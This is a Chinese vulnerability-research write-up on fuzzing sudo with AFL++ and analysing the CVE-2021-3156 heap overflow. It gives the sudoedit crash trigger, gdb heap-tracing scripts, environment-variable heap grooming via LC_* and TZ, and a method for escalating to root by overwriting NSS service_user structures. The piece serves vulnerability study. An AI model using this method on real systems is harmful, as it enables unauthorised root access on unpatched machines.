+,则使用AFL_INIT_SET0("prog_name");,其中"prog_name"需替换为实际的程序名称。具体使用示例可参考argv_fuzz_demo.c文件(argv_fuzz_demo.c)。
+
+
+```
+// 初始化argv,保留argv[0]#define AFL_INIT_SET0(_p) \ do { \ \ argv = afl_init_argv(&argc); \ argv[0] = (_p); \ if (!argc) argc = 1; \ \ } while (0)
+```
+
+#
+
+**3**
+
+**修改sudo源码与进行AFL++模糊测试**
+#
+## 修改sudo源码与Fuzz测试准备
+
+在进行针对 sudo 的 Fuzz 测试前,对 sudo 源码的修改以及相关准备工作起着关键作用。能让后续测试流程更为顺畅地开展,另一方面,合理地准备如控制测试过程中的参数、准备模糊测试种子样本以及搭建好合适的测试环境(像 Docker 容器环境、配置编译开启 Asan 模式等),都是为了能更全面、高效且准确地对 sudo 及其相关功能进行模糊测试,从而提高目标程序的覆盖率以及获取更多有价值的测试样本。
+
+### 解决 sudo 需要输入密码,避免程序挂起
+
+为解决 sudo 密码输入导致程序挂起问题,直接将sudo的密码验证函数patch掉,想要利用sudo的漏洞肯定是要站在无密码的角度来的,不然漏洞价值不高,将verify_user的返回值为0,表示密码错误!
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5p1/plugins/sudoers/auth/sudo_auth.c:243/* * Verify the specified user. * Returns true if verified, false if not or -1 on error. */intverify_user(struct passwd *pw, char *prompt, int validated, struct sudo_conv_callback *callback){ return 0; //直接返回避免密码验证导致的挂起操作 unsignedint ntries; int ret, status, success = AUTH_FAILURE; sudo_auth *auth; sigset_t mask, omask; struct sigaction sa, saved_sigtstp; debug_decl(verify_user, SUDOERS_DEBUG_AUTH); /* Make sure we have at least one auth method. */ if (auth_switch[0].name == NULL) { audit_failure(NewArgv, N_("no authentication methods")); log_warningx(SLOG_SEND_MAIL, N_("There are no authentication methods compiled into sudo! " "If you want to turn off authentication, use the " "--disable-authentication configure option.")); debug_return_int(-1); }
+```
+
+
+
+默认返回0确保密码错误!
+
+### 如何控制 sudo 测试过程中的第一个参数
+
+通过编写测试用例,明确规定 sudo 测试过程中第一个参数的取值范围和格式。在 Fuzz 测试工具中设置参数生成规则,确保生成的参数符合要求。可以结合正则表达式等方式,对参数进行合法性校验,保证测试的有效性。
+
+
+添加头文件:[#include]()
+ "/AFLplusplus/utils/argv_fuzzing/argv-fuzz-inl.h"
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5p1/src/sudo.c:150...intmain(int argc, char *argv[], char *envp[]){ AFL_INIT_ARGV(); //AFL_INIT_SET0("sudoedit") int nargc, status = 0;...
+```
+
+
+
+在进行 Fuzz 测试前,需要根据测试目标,明确指定启动程序名称。可以在测试脚本中设置变量,根据不同的测试场景切换启动程序名称,如sudo或sudoedit,从而实现对 sudo 及其相关功能的全面测试。
+
+
+AFL_INIT_ARGV和AFL_INIT_SET0为了限制sudo的参数来触发漏洞!
+
+
+AFL++生成的数据将输出生成到文件或stdout中,但是需要模糊测试命令行参数。需要自行修补sudo源码,使用这两个宏都可以忽略实际的argv并将其改为从stdin。
+
+### 验证fuzz过程中命令行参数是否被修改的小技巧
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5p1/lib/util/progname.c:83voidinitprogname2(constchar *name, constchar * const * allowed){ int i;# ifdef HAVE___PROGNAME extern constchar *__progname; if (__progname != NULL && *__progname != '\0') progname = __progname; else...//改为voidinitprogname2(constchar *name, constchar * const * allowed){ int i;# if 0 //直接改为0避免出现第一个sudo参数被修改的情况,让argv可控 extern constchar *__progname; if (__progname != NULL && *__progname != '\0') progname = __progname; else...
+```
+
+
+
+该函数会将输入的程序如果为sudoedit的话,在该函数会被修改为sudo,所以也需要patch掉!
+
+
+小技巧,在修改argv的参数后,直接在程序结束的时候打印argv的参数查看是否被修改过!
+
+### 准备模糊测试种子样本
+
+准备测试用例种子:
+
+
+```
+echo -ne 'sudo\0ls\0\0' > case1 echo -ne 'sudoedit\0test\0\0' > case2 echo -ne 'sudoedit\0-s\0aaaaaaa\0\0' > case3
+```
+
+
+
+在源码中添加的AFL_INIT_ARGV或者AFL_INIT_SET0这些宏,会将命令行参数根据'\0'拆分为程序实际的argv!
+
+
+```
+sudo -s \\sudoeit ls...
+```
+
+
+## AFL++并行fuzz配置
+
+Docker 容器环境搭建:
+
+
+```
+docker run --ipc=host -v ~/FuzzCVEInit/sudo_fuzz:/tmp --name sudo_fuzz -it aflplusplus/aflplusplus /bin/bash
+```
+
+
+
+调试编译目标程序:
+
+
+```
+wget 3f3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6N6h3c8G2i4K6u0W2N6%4y4Q4x3V1k6V1K9i4y4@1i4K6u0r3M7%4g2V1L8#2)9J5k6o6q4Q4x3X3f1&6i4K6u0W2y4i4l9I4i4K6u0W2N6r3q4J5i4K6u0W2k6%4Z5`.tar -xvzf sudo-1.9.5p1.tar.gz
+```
+
+
+
+首次配置编译开启Asan模式:
+
+
+```
+#修改源码后进行编译目标CFLAGS="-fsanitize=address,undefined -g" LDFLAGS="-fsanitize=address,undefined -g" CC=afl-clang-fast ./configure --disable-shared --prefix=/tmp/sudo_install > /dev/nullAFL_USE_ASAN=1 make -j > /dev/nullmake install >/dev/null
+```
+
+
+
+可以使用 tmux 创建多个 AFL 实例进行并行测试,通过配置并发 fuzz 执行,提高目标程序的覆盖率和获取更多的测试样本。
+
+
+```
+tmux new -s mafl-fuzz -i input/ -o output -M m -- ./sudo_install/bin/sudotmux new -s s0afl-fuzz -i input/ -o output -S s0 -- ./sudo_install/bin/sudoafl-fuzz -i input/ -o output -S s1 -- ./sudo_install/bin/sudoafl-fuzz -i input/ -o output -S s2 -- ./sudo_install/bin/sudo
+```
+
+
+
+图示:
+
+
+
+
+
+#
+
+**4**
+
+**收集奔溃样本与分析奔溃原因**
+
+
+该样本影响了sudo
+工具的sudoers.c
+文件中的set_cmnd
+函数,详细的可以查看Asan报告,触发漏洞:
+
+
+```
+nrin@DESKTOP-N9MLNLD:/root/FuzzCVEInit/sudo_fuzz$ ./sudodebug/bin/sudoedit -s '\' 111111111111111111111111111111111
+```
+
+
+
+
+
+
+
+向地址0x607000001487
+写入了超出范围的1个字节数据,该地址是堆内存分配的尾部,所以是 heap overflow
+
+
+```
+ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001487 WRITE of size 1
+```
+
+
+
+溢出发生的位置,plugins/sudoers/sudoers.c的868行的set_cmnd函数!
+
+
+发生溢出的堆块在sudoers.c
+的**第854行**
+,由set_cmnd
+调用malloc
+申请,溢出发生在**第868行**
+,所以是在同一个函数内,申请了内存后向该堆块写入过量的数据导致溢出!
+
+
+开始基于Asan报告进行漏洞原因探究!
+
+
+```
+/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.8.31/sudo-1.8.31p2/plugins/sudoers/sudoers.c:868
+```
+
+
+
+主要的函数链:
+
+
+```
+set_cmnd /home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.8.31/sudo-1.8.31p2/plugins/sudoers/./sudoers.c:868:10sudoers_policy_main /home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.8.31/sudo-1.8.31p2/plugins/sudoers/./sudoers.c:306:19sudoers_policy_check /home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.8.31/sudo-1.8.31p2/plugins/sudoers/./policy.c:872:11policy_check /home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.8.31/sudo-1.8.31p2/src/./sudo.c:1138:11main__libc_start_main_start
+```
+
+##
+## 从main分析输入数据的流动变化
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5/sudo-1.9.5p1/src/sudo.c:216intmain(int argc, char *argv[], char *envp[]){... constchar * const allowed_prognames[] = { "sudo", "sudoedit", NULL }; // 允许的程序名称列表 .... /* 解析命令行参数,关键函数解析-s选项 */ sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,&settings, &env_add); sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode); // 调试输出sudo模式... switch (sudo_mode & MODE_MASK) { // 根据sudo模式处理不同情况... case MODE_EDIT: // 编辑模式 case MODE_RUN: // 运行模式 // 执行策略检查,传入参数和环境变量,获取命令信息、输出参数和用户环境 policy_check(nargc, nargv, env_add, &command_info, &argv_out,&user_env_out);...
+```
+
+
+
+从main
+函数开始分析输入流的处理,首先调用parse_args
+函数解析输入的参数,-s
+选项会被剔除,剩余的参数传递到后续函数中。
+
+
+同时-s
+选项也会设置sudo_mode
+为MODE_EDIT
+,引导程序进入set_cmnd
+函数导致堆溢出。
+
+
+可以简单调试一下,原本为-s选项在argv中:
+
+
+
+
+
+
+
+
+经过parse_args处理后,在后续流程赋值给NewArgv,参数中-s消失了
+
+
+
+
+
+
+
+剩下的步骤就是简单的源码跟踪到关键函数了!
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5/sudo-1.9.5p1/src/sudo.c:1171static intpolicy_check(struct plugin_container *plugin, int argc, char * const argv[], char *env_add[], char **command_info[], char **argv_out[], char **user_env_out[]){ ··· ··· ··· ··· ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,command_info, argv_out, user_env_out, &errstr); ···}
+```
+
+
+
+无法直接通过源码查看调用的函数,使用gdb调试识别出函数名称!
+
+
+
+
+
+
+```
+pwndbg> p policy_plugin.u.policy->check_policy$4 = (int (*)(int, char * const *, char **, char ***, char ***, char ***, const char **)) 0x55e56021ce70
+```
+
+
+
+继续向下跟进:
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5/sudo-1.9.5p1/plugins/sudoers/policy.c:1013static intsudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[], const char **errstr){ struct sudoers_exec_args exec_args; int ret;... ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);//调用sudoers策略主函数...}
+```
+
+
+
+然后调用了sudoers.c 中的sudoers_policy_main 函数。
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/sudo-1.9.5/sudo-1.9.5p1/plugins/sudoers/sudoers.c:332intsudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[], void *closure){ ··· ··· NewArgv[0] = user_cmnd; NewArgv[1] = NULL; } else { /* Must leave an extra slot before NewArgv for bash's --login */ NewArgc = argc; NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));... memcpy(NewArgv, argv, argc * sizeof(char *)); NewArgv[NewArgc] = NULL; } ··· ··· cmnd_status = set_cmnd();//追踪到溢出漏洞最后出现的位置 ··· ··· ··· ··· ··· ···}
+```
+
+
+
+这里的NewArgc 和 NewArgv这两个变量提之前提到过,后续在漏洞触发的地方会用到,这里是NewArgc 和 NewArgv 在sudoers_policy_main函数初始化。
+
+## 分析set_cmnd函数,定位奔溃原因
+
+动态调试定位到楼的函数位置:
+
+
+```
+pwndbg> file ./sudoeditReading symbols from ./sudoedit...pwndbg> set args -s \\ 111111111111111111111111111111111111111111111111111111111111111111111111111111111pwndbg> b set_cmndpwndbg> start
+```
+
+
+
+成功打下断点来到目标位置!
+
+
+
+
+
+
+
+接下来就是分析漏洞成因的关键代码段了!
+
+
+```
+/* * 填充 user_cmnd、user_args、user_base 和 user_stat 变量, * 并应用任何特定于命令的默认条目。 */staticintset_cmnd(void){ struct sudo_nss *nss; // 定义sudo命名空间结构体指针... //这里的NewArgv是去除了-s和NewArgv[0] sudoedit,所以调试的时候是0x54 for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { //申请堆块的大小.... for (to = user_args, av = NewArgv + 1; (from = *av); av++) { // 处理每个参数 while (*from) { // 处理每个字符 if (from[0] == '\\' && !isspace((unsignedchar)from[1])) // 如果是转义字符且后跟非空格 from++; // 跳过转义字符 *to++ = *from++; // 复制字符 } *to++ = ' '; // 添加空格分隔符 } *--to = '\0'; // 字符串结尾...}
+```
+
+
+
+这里就是漏洞奔溃的关键位置了,动调查看下NewArgv的内容来确定申请堆块的大小,发现是0x54:
+
+
+
+
+
+
+
+溢出发生在*to++ = *from++
+拷贝的时候,根据代码可以看出,堆溢出发生在向堆中拷贝时,这段代码原来是将NewArgv中的所有参数都拷贝到堆中,按照空格分割,遇到\+非空格类字符
+ 则只拷贝该字符。
+
+
+但是这个校验逻辑没有考虑充分,!isspace函数只是非空格类字符,但是们没有考虑到\x00
+不属于空格类字符,可以在while循环中发现如果遍历到\x00
+循环就会结束,但是NewArgv[0]
+通过from[0] == '\\' && !isspace((unsigned char)from[1])
+判断后两次from++导致,from指向了NewArgv[1]
+的内容从而出现了非预期行为,即继续拷贝后续内容,也就是拷贝我们输入的’11111111111111...‘,当拷贝到’11111111111111...‘后面的\x00,就av++又会将NewArgv[1]
+再向堆写一次,导致堆溢出!
+
+
+可以动态调试一下:
+
+
+
+
+
+
+
+
+to整个变量申请的堆块大小是0x54,但是由于参数长度识别失败,导致被放入堆块的长度会到达"\x00"+"1"*81"+"1"*81"
+的长度导致程序出现溢出漏洞。
+
+
+也就说,程序可以溢出的大小和内容就是"\
+" 参数后面接的字符串长度!
+
+
+
+
+
+
+
+
+成功向堆块溢出一个字节的内容!并且修改了下一个堆块的内容!
+
+
+
+
+
+
+
+
+由于堆块结构被破坏了,再次运行,就会出现如下报错,这个就是漏洞的成因分析了!
+
+
+
+
+
+
+
+
+5
+
+**奔溃样本逆向分析进行可利用性评估**
+
+
+分析完奔溃样本可以知道漏洞发生在sudo的堆空间上,想实现这个漏洞的利用毫无疑问就是通过该漏洞让普通用户在无密码的情况下提权,那么利用手法就只能是覆盖堆上数据来达到提权目的,所以要先收集sudo历史漏洞和提权手法,以及搜集sudo堆块结构控制手法,通过这些信息来构造利用手法从而来达到提权目的!
+
+## sudo历史提权漏洞汇总表
+
+CVE编号 | 影响版本 | 漏洞描述 | 修复建议 | 参考链接 |
CVE-2019-14287 | Sudo <1.8.28 | 权限绕过漏洞:当用户通过sudo -u#-1或sudo -u#4294967295执行命令时,系统错误地将UID解析为0(root)。需满足特定配置条件(如允许用户以非root身份执行命令)。 | 升级至1.8.28或更高版本,检查/etc/sudoers配置安全性。 | Mitre CVE Qualys分析 |
CVE-2021-3156 | Sudo 1.8.2–1.8.31p2 Sudo 1.9.0–1.9.5p1 | 堆缓冲区溢出漏洞:攻击者通过sudoedit -s命令及以反斜杠结尾的参数触发溢出,无需密码即可提权至root。漏洞存在长达10年,影响默认配置的系统。 | 升级至1.9.5p2或更高版本,临时禁用sudoedit。 | Red Hat公告 Qualys技术分析 |
CVE-2023-22809 | Sudo 1.8.0–1.9.12p1 | 任意文件读写漏洞:通过环境变量EDITOR或SUDO_EDITOR注入--参数,攻击者可绕过路径限制,读写任意文件(如/etc/passwd或/etc/shadow),导致权限提升 | 升级至1.9.12p2或更高版本,限制用户使用sudoedit的权限。 | Mitre CVE GitHub PoC |
| | | | |
+
+
+想要全面评估该漏洞的可利用性,需要先了解sudo
+历史上的漏洞和攻击方法。
+
+## sudo的堆使用情况跟踪
+
+该漏洞发生在堆上,那么提权的方法必然和堆操作相关,和堆操作不相干的函数就可以直接跳过,降低漏洞分析成本,为了理解与堆相关的执行流程,我编写了 gdb 脚本追踪sudo执行过程中 malloc、realloc、calloc 和 free 函数的堆使用情况。编写一个普通的gdb脚本来观察该漏洞在奔溃前的堆操作!
+
+
+```
+# heap‑trace.gdb# 1) 开日志并关分页set logging file heap.logset logging redirect onset logging on set pagination off# 2) 分别给 malloc/calloc/realloc/free 下断break mallocbreak callocbreak reallocbreak free# 3) 给每个断点都绑自动 backtrace 并继续的命令块# malloccommands 1 silent printf ">>> malloc(%zu)\n", $rdi backtrace continueend# calloccommands 2 silent printf ">>> calloc(%zu, %zu)\n", $rdi, $rsi backtrace continueend# realloccommands 3 silent printf ">>> realloc(%p, %zu)\n", (void*)$rdi, $rsi backtrace continueend# freecommands 4 silent printf ">>> free(%p)\n", (void*)$rdi backtrace continueend
+```
+
+
+
+得出一系列的操作函数的调用栈避免过多的函数分析减少逆向分析的成本!
+
+
+```
+#调试时候用到测试参数set args -s \\ 111111111111111111111111111111111111111111111111111111111111111111111111111111111 #触发漏洞set environment LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #设置环境变量set environment LC_NAME=xxxxxxxxxxxxxxxxxxxxx
+```
+
+
+
+
+
+
+
+
+得到log文件后就可以通过一系列的脚本进行处理得到我们需要的数据:
+
+
+主要使用的工具就是GPT生成筛选脚本再使用dot生成流程图就可以了!
+
+
+下载调用链生成图片工具:
+
+
+```
+sudo apt updatesudo apt install graphviz
+```
+
+
+
+将python赛选出来的数据生成callgraph.dot
+
+
+```
+ dot -Tpng callgraph.dot -o callgraph.png
+```
+
+
+
+可以收集到下面函数:
+
+
+
+
+
+
+
+
+发现被main函数调用过且存在堆操作的函数就成功筛选出来了,直接将分析成本指数级别的降低了,只需要分析这些函数是否可以控制其堆结构就可以判断出这个堆溢出漏洞的实际价值了!
+
+
+结合IDA的分析出函数的调用顺序:
+
+
+
+
+
+
+
+
+整理出函数调用顺序后就可以具体整理每个函数的作用了!继续详细跟进每个函数!
+
+
+结合AI加上源码阅读分析出的主程序流程 (main()),分析其中可能的提权手法:
+
+
+```
+main()|- _GI_setlocale("") // 初始化本地化设置(空字符串表示默认环境)|- __tzset() // 设置时区信息|- sudo_conf_read_v1(CONF_DEBUG) // 读取调试配置(第一阶段)| |- setlocale("C") // 临时切换为C标准本地化(避免编码问题)| |- read /etc/sudo.conf // 解析主配置文件 `/etc/sudo.conf`| |- setlocale(prev_locale) // 恢复之前的本地化设置|- sudo_conf_read_v1(CONF_ALL) // 读取全部配置(同上,但包含所有配置项)|- get_user_info() // 获取用户信息| |- getpwuid // 通过UID查询用户信息(如用户名、主目录)| | |- parse /etc/nsswitch.conf // 解析NSS配置,创建 `service_user` 结构体(用于后续身份验证)| // 攻击者可篡改NSS配置文件,以伪造身份或绕过认证|- parse_args() // 解析命令行参数|- sudo_load_plugins() // 加载插件模块| |- load sudoers.so // 加载核心插件 `sudoers.so`| |- register env hooks // 注册环境变量钩子(用于动态环境控制)| // 攻击者可通过篡改环境变量或插件配置来执行恶意操作|- policy_open() // 初始化策略插件| |- format_plugin_settings() // 格式化插件配置| | |- initialize network_addrs // 初始化网络地址等设置(涉及多次内存分配)| // 如果内存分配不当,可能导致缓冲区溢出或内存泄漏等漏洞| |- sudoers_policy_init() // 初始化 `sudoers` 策略模块| |- init_defaults() // 设置默认参数| | |- strdup(def_timestampdir) // 复制字符串(如时间戳目录路径)| | // 如果路径处理不当,可能导致路径注入攻击| | |- dcgettext() // 本地化字符串处理(多语言支持)| | |- init_envtables() // 初始化环境变量表(小内存分配频繁)| |- init_vars() // 初始化内部变量| |- sudo_file_parse() // 解析 `/etc/sudoers` 文件(核心权限规则)| // 攻击者可以通过篡改sudoers文件或恶意配置提升权限|- policy_check() // 执行权限检查| |- sudoers_policy_main() // 主策略逻辑(见下方详细流程)| | |- set_cmd() // 设置待执行的命令参数(此处存在已知漏洞) // 该函数可能存在命令注入漏洞,攻击者可通过恶意参数绕过权限控制
+```
+
+
+
+总结sudoers_policy_main() 详细流程,分析其中可能的提权手法。
+
+
+```
+sudoers_policy_main()- set_cmnd() // 设置命令参数(此处存在已知漏洞) // 如果该函数未正确验证命令参数,可能导致命令注入或权限提升- _GI_setlocale("C") // 临时切换为C本地化(确保文件解析一致性)- sudo_file_lookup() // 从已解析的 `/etc/sudoers` 中查询规则 - nss * // 可能调用NSS(Name Service Switch)模块 - nss_load_library() // 动态加载NSS库(如LDAP/SSSD集成) // 攻击者可通过篡改NSS库或插件来劫持身份验证- setlocale(user_locale) // 恢复用户原始本地化设置- check_user() // 验证用户权限 - check_user_interactive() // 交互式验证(需用户输入) - create timestamp file // 创建时间戳文件(记录认证时间) - ask for password // 请求密码(失败则直接退出) // 如果时间戳文件或密码提示没有正确保护,可能导致信息泄露或重放攻击- find_editor() // 查找编辑器(仅认证成功后执行) - call sudoer_hook_env("SUDO_EDITOR") // 通过钩子设置 `SUDO_EDITOR` 环境变量 // 如果环境变量可以被攻击者修改,可能导致攻击者执行恶意编辑器或代码
+```
+
+##
+## 观察sudo在崩溃前的堆操作思考提权手法
+
+提权的关键在于修改堆上数据,比如堆溢出覆盖堆中的虚函数表,函数指针、结构体指针等关键数据。
+
+
+然后分析溢出操作完成后再到密码验证之前,有哪些函数使用了漏洞函数之前已经存在的堆块,并且分析这些堆块被覆盖后是否可以达到提权的目的!
+
+
+结合前面动态调试和静态分析收集到的信息就可以开始确定可能可以覆盖的提权对象了!下面只是分析出了部分,应该还有更多的提权思路!
+
+### NSS服务用户对象(NSS 劫持)
+
+在get_user_info()
+中,getpwuid()
+函数通过UID查询用户信息,parse /etc/nsswitch.conf
+则用来解析NSS配置。service_user
+对象应该是与NSS(Name Service Switch)模块相关的,用于认证用户身份。在漏洞利用中,攻击者可能通过篡改或操纵这个对象来伪造身份或绕过认证。
+
+
+
+
+
+###
+### Def_timestampdir 路径(时间戳竞态)
+
+在sudoers_policy_init()
+函数中,有strdup(def_timestampdir)
+调用,复制时间戳目录路径。如果路径处理不当,可能会导致路径的注入或不安全的文件操作。在漏洞利用场景下,攻击者可能利用这个路径来操控权限或绕过某些安全检查。
+
+
+
+
+
+###
+### Userspecs 对象(UserSpec 结构覆盖)
+
+在sudo_file_parse()
+中,/etc/sudoers
+文件被解析,其中定义了sudoers
+策略和用户权限。如果userspecs
+对象在解析时没有进行充分的验证或边界检查,可能会被篡改以获得不正当的权限。攻击者可以操纵sudoers
+文件或相关数据结构来提升权限。
+
+
+
+
+
+
+
+这些都可以实现提权具体的利用POC可以看这里:worawit/CVE-2021-3156: Sudo Baron Samedit Exploit
+
+
+汇总评估后发现NSS 劫持,该提权思路的实现可用性最高!
+
+
+
+
+
+
+
+
+该漏洞主要是劫持nss_load_library函数的指针从而进行提权,发现NSS服务在堆块溢出前进行了堆操作并初始化,在发生堆块溢出后,NSS服务再次被使用,又进行了堆操作读取,完美的契合了劫持NSS服务的提权思路!
+
+## 观察sudo在崩溃前的堆操作思考堆块结构控制手法
+
+CTF-Pwn的堆题和实战堆漏洞的相关联系:Pwn的堆题提供了,操控堆结构的明确接口增删改查都有,但是在实际漏洞利用的时候是不会提供这些接口的,但是程序中必然会有堆操作,需要了解整个Linux机制,和逆向分析程序中的每一个堆操作,来筛选出可以控制的增删改查的堆操作!进而提升堆漏洞的可用性和实际价值!
+
+
+首先从上面筛选出大量进行堆操作的函数进行分析,整理并且归纳一下,这些堆操作,哪些是可以控制的,哪些是不可以控制的,可以控制的可以进行哪些操作!
+
+### find_editor() 函数 (涉及 SUDO_EDITOR, VISUAL, EDITOR 环境变量)
+
+在sudoers_policy_main() -> find_editor()
+函数路径中,函数中使用 strdup
+ 复制用户设置的编辑器路径。可以通过设置 SUDO_EDITOR
+、VISUAL
+ 或 EDITOR
+ 环境变量为任意长度的字符串,触发大块堆分配。
+
+### init_defaults() 函数 (涉及 SUDO_TIMESTAMP_DIR 环境变量)
+
+在policy_open() -> sudoers_policy_init() -> init_defaults()
+函数路径中,函数中从 SUDO_TIMESTAMP_DIR
+ 复制时间戳目录路径。设置 SUDO_TIMESTAMP_DIR
+ 环境变量控制 strdup
+ 分配的长度。
+
+### setlocale函数(通过LC_*控制)
+
+在_GI_setlocale()
+函数中,glibc 的_nl_find_locale
+函数会根据环境变量动态加载区域设置数据,触发多次 malloc 和 free,可以通过环境变量LC_*
+(如LC_ALL
+,LC_IDENTIFICATION
+)控制内存分配大小和次数。
+
+### tzset函数(通过TZ环境变量控制)
+
+在__tzset()
+函数中,tzset 解析时区信息时,若 TZ 为空或格式特殊(如 :),会跳过复杂时区文件解析,仅分配少量内存 。设置TZ=:
+可减少堆使用量,使内存布局更可预测。
+
+
+上面这些函数是经过源码分析后汇总出来的可能能够进行堆结构控制的相关函数,其中find_editor()
+函数是在堆溢出之后调用几乎无可利用价值,tzset
+函数的价值也不高,只能减少堆块,init_defaults()
+该函数操作大概率可行,setlocale
+最合适因为他可以释放指定大小的堆块在堆回收站中,并且可以构造堆块释放的顺序,所以使用setlocale
+进行堆块布局最好用!
+
+
+
+
+
+#
+#
+
+**6**
+
+**劫持NSS服务用户对象实现提权原理**
+# 提权是由nss_load_library函数触发的,下面看看源码:
+
+```
+/* 加载NSS(Name Service Switch)库函数 */staticintnss_load_library (service_user *ni){ /* 检查该服务的库是否已加载 */ if (ni->library == NULL) { /* 该服务尚未被使用过。获取服务的库,如果需要则创建一个新的。 如果文件中没有服务表,这个静态变量将保存来自默认配置的service_library列表头 */ static name_database default_table; /* 创建新的服务库:如果service_table存在则使用它,否则使用默认表default_table */ ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL) return -1; // 创建失败返回错误 } /* 检查库是否已加载到内存 */ if (ni->library->lib_handle == NULL) {... /* 构建共享对象名称,格式为:libnss_.so */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,"libnss_"), // 基础前缀 ni->name), // 服务名 ".so"), // 扩展名 __nss_shlib_revision); // 库版本号 /* 尝试动态加载共享库 */ ni->library->lib_handle = __libc_dlopen (shlib_name);...}
+```
+
+
+
+ni是堆上的service_user 结构体,当 ni->library->lib_handle
+ 为NULL 时,就会调用__libc_dlopen
+ 进行 so 装载。如果我们可以溢出到ni所在堆块,那么只需要将library 覆盖为0 即可触发nss_new_service
+函数初始化,然后ni->library->lib_handle
+的值就可以被置为NULL从而触发so 装载,构造一个恶意so,在加载的时候调用提权函数即可!
+
+
+动调可以发现nss_load_library函数在溢出发生前就初始化了,说明堆块有被覆盖的可能,具体的覆盖手法,后面讲解:
+
+
+
+
+
+
+## 源码解析NSS服务用户对象的堆块的申请机制
+
+先了解一下什么是NSS(Name Service Switch)!
+
+
+1.**统一管理多种名称解析服务**
+
+在 Linux 系统中,存在多种需要进行名称解析的场景,比如将主机名解析为 IP 地址(类似 DNS 解析域名到 IP 的功能,但也包括本地的主机名解析情况),或者将用户名解析为对应的用户 ID 等。NSS 提供了一个统一的框架,使得系统能够灵活地决定使用哪种具体的后端服务来完成这些名称解析操作。
+
+例如,当需要查找某个用户的相关信息(如用户 ID、所属组等)时,系统可以通过 NSS 配置来决定是从本地的/etc/passwd
+、/etc/shadow
+文件中查找,还是借助诸如 LDAP(轻量级目录访问协议,常用于企业网络中集中管理用户等信息)等外部服务来获取相应信息。
+
+
+2.**NSS 的原理**
+
+配置文件驱动:NSS 的配置主要基于/etc/nsswitch.conf
+文件(不同 Linux 发行版具体路径基本一致,但可能存在细微差异)。这个文件中针对不同的数据库类型(如passwd
+代表用户数据库、hosts
+代表主机名相关数据库等)定义了一系列的查找来源和查找顺序。
+
+
+下面是具体的内容:
+
+
+```
+# /etc/nsswitch.conf## Example configuration of GNU Name Service Switch functionality.# If you have the `glibc-doc-reference' and `info' packages installed, try:# `info libc "Name Service Switch"' for information about this file.passwd: files systemdgroup: files systemdshadow: filesgshadow: fileshosts: files dnsnetworks: filesprotocols: db filesservices: db filesethers: db filesrpc: db filesnetgroup: nis
+```
+
+
+
+可以解读一下这个配置文件:
+
+
+◆passwd
+:先从/etc/passwd
+找用户信息,再用systemd
+找。
+
+
+
+◆group
+:先从/etc/group
+找组信息,再用systemd
+找。
+
+
+
+◆hosts
+:先查/etc/hosts
+,再用 DNS 查主机名对应 IP。
+
+
+
+◆protocols
+:先查数据库文件,再查/etc/protocols
+找协议信息。
+
+
+通过这种配置方式,NSS 可以根据不同的数据库类型,按照指定的顺序依次尝试从不同的数据源中查找所需的信息。当然这是放在应用层的理解,如果回归到代码底层的话就是通过这些配置的不同规则到指定目录加载so文件,并且调用so中的函数用来返回所需数据!
+
+
+下面动态调试看看需要分析的源码函数有哪些,下面都是根据配置文件申请对于所需的堆块:
+
+
+
+
+
+##
+## 解析NSS需要重点关注的源代码和结构体
+
+源码分析的时候直接搜索函数名是找不到的,NSS服务为了满足灵活的处理规则,大部分函数名都是通过宏来定义的,便于函数的替换,所以需要结合源秒调试来定位源码,下面是调试时候会经过的宏定义出来的函数,可以略过:
+
+
+```
+#/home/ub20/FuzzCVEInit/sudo_fuzz/glibc-2.27/pwd/getpwuid.c:23#define LOOKUP_TYPE struct passwd#define FUNCTION_NAME getpwuid#define DATABASE_NAME passwd#define ADD_PARAMS uid_t uid#define ADD_VARIABLES uid#define BUFLEN NSS_BUFLEN_PASSWD#/home/ub20/FuzzCVEInit/sudo_fuzz/glibc-2.27/nss/getXXbyYY.c#define REENTRANT_NAME APPEND_R (FUNCTION_NAME)LOOKUP_TYPE *FUNCTION_NAME (ADD_PARAMS){...}nss_interface_function (FUNCTION_NAME)int INTERNAL (REENTRANT_NAME) (ADD_PARAMS, LOOKUP_TYPE *resbuf, char *buffer,size_t buflen, LOOKUP_TYPE **result H_ERRNO_PARMEXTRA_PARAMS)int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name,void **fctp)
+```
+
+
+
+接下来会进行的函数链分析:get_user_info->getpwuid->__getpwuid_r->__nss_database_lookup->nss_parse_file->nss_getline->nss_parse_service_list
+
+
+再锁定一下需要弄清的堆块目标有哪些!主要是存放下面这些结构体的堆块操作都需要详细关注,我们的目标就是修改下面的结构体从而实现提权:
+
+
+```
